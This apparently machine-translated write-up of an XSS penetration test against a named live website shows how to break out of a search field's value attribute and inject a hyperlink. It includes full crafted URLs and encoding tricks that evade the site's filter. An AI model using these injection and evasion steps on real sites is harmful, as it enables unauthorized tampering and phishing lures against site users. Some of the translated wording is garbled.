XSS penetration Test (2)

Tool: AppScan

Site: www.talk915.com

Browser: Ie8,firefox

Method: Insert <ahref= "" >

Since the browser matches the content of the address in a regular fashion, it can only be traded in one way, instead of being executed directly, by injecting a hyperlink tag. And this hyperlink tag can entice the user to click.

Because the XSS attack script is also based on HTML tags. and the label where the Searchwhere

<input class= "Search fl" onkeydown= "Downenter ()" id= "Searchwhere" name= "Searchwhere"value= ""/>

Because the input content is actually in value. For example, enter 1234 and it will become

<input class= "Search fl" onkeydown= "Downenter ()" id= "Searchwhere" name= "Searchwhere" value= "1234"/>

So, what if the input is

1234 "><a Href=http://www.bing.com>more result</a>

It will become

<input class= "Search fl" onkeydown= "Downenter ()" id= "Searchwhere" name= "Searchwhere" value= "1234" ><a href=http://www.bing.com>more result</a>"/>

Test it.

Firefox

IE8:

The effect is not very good.

To change the input content to

1234 "><a Href=http://www.bing.com>more result</a><a href="

Test results:

IE8:

Firefox

This means that the content is OK.

Can spell URL

http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token= G2tqixrnk8p5zd8ynr6a2yhst2p0ju7w&title=&author=&content=&titles=&titletype=&forumid= &orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=& Postadd=&postid=&oldforumid=&openpost=&postaudio=&postaudiolength=&poststatus=&img _url_length=64&expression_url_length=46&upload_url=http%3a%2f%2fwww.talk915.com%3a13148% 2fresourceproxy%2ffdfsupload&download_url=http%3a%2f%2fwww.talk915.com%3a13148%2fresourceproxy% 2ffdfsdownload%3ffile_id%3d&pathurl=http%3a%2f%2fwww.talk915.com%3a80%2f&usertoken=&searchwhere= 1234 "><a href=http://www.bing.com>moreresult</a><a href="&forumListId=4& selectforumid=1&posttitle=1234

Firefox

IE8:

And that hyperlink becomes:

<input class= "SEARCHFL" onkeydown= "Downenter ()" id= "Searchwhere" name= "Searchwhere" value= "1234" ><a href= http://www#bing#com>more result</a><a href= ""/>

You can spell the URL and change the point to%2e.

http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token= G2tqixrnk8p5zd8ynr6a2yhst2p0ju7w&title=&author=&content=&titles=&titletype=&forumid= &orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=& Postadd=&postid=&oldforumid=&openpost=&postaudio=&postaudiolength=&poststatus=&img _url_length=64&expression_url_length=46&upload_url=http%3a%2f%2fwww.talk915.com%3a13148% 2fresourceproxy%2ffdfsupload&download_url=http%3a%2f%2fwww.talk915.com%3a13148%2fresourceproxy% 2ffdfsdownload%3ffile_id%3d&pathurl=http%3a%2f%2fwww.talk915.com%3a80%2f&usertoken=&searchwhere= 1234 "><a href=http://www%2ebing%2ecom>moreresult</a><a href="&forumListId=4& selectforumid=1&posttitle=1234

IE8 is still the same hint.

Turn%2e into & #x2e, and try again:

http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token= G2tqixrnk8p5zd8ynr6a2yhst2p0ju7w&title=&author=&content=&titles=&titletype=&forumid= &orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=& Postadd=&postid=&oldforumid=&openpost=&postaudio=&postaudiolength=&poststatus=&img _url_length=64&expression_url_length=46&upload_url=http%3a%2f%2fwww.talk915.com%3a13148% 2fresourceproxy%2ffdfsupload&download_url=http%3a%2f%2fwww.talk915.com%3a13148%2fresourceproxy% 2ffdfsdownload%3ffile_id%3d&pathurl=http%3a%2f%2fwww.talk915.com%3a80%2f&usertoken=&searchwhere= 1234 "><ahref=http://www& #2e;bing& #x2e; com>more result</a><ahref="& forumlistid=4&selectforumid=1&posttitle=1234

IE8:

The hyperlink is missing. Indicates that it may also have a filter for a regular such as http://.

By AppScan A tool, the URL is spelled like this

http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token= G2tqixrnk8p5zd8ynr6a2yhst2p0ju7w&title=&author=&content=&titles=&titletype=&forumid= &orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=& Postadd=&postid=&oldforumid=&openpost=&postaudio=&postaudiolength=&poststatus=&img _url_length=64&expression_url_length=46&upload_url=http%3a%2f%2fwww.talk915.com%3a13148% 2fresourceproxy%2ffdfsupload&download_url=http%3a%2f%2fwww.talk915.com%3a13148%2fresourceproxy% 2ffdfsdownload%3ffile_id%3d&pathurl=http%3a%2f%2fwww.talk915.com%3a80%2f&usertoken=&searchwhere= 1234 "%20%2f%3e%3ca+href%3d%22http%3a%2f%2fwww%26%23x2e;bing%26%23x2e;com%22%3emore+result%3c%2fa%3e%3ca+ Href%3d%22&forumlistid=4&selectforumid=1&posttitle=1234

Test it:

Click More to result to jump to bing.com

XSS penetration Test (2)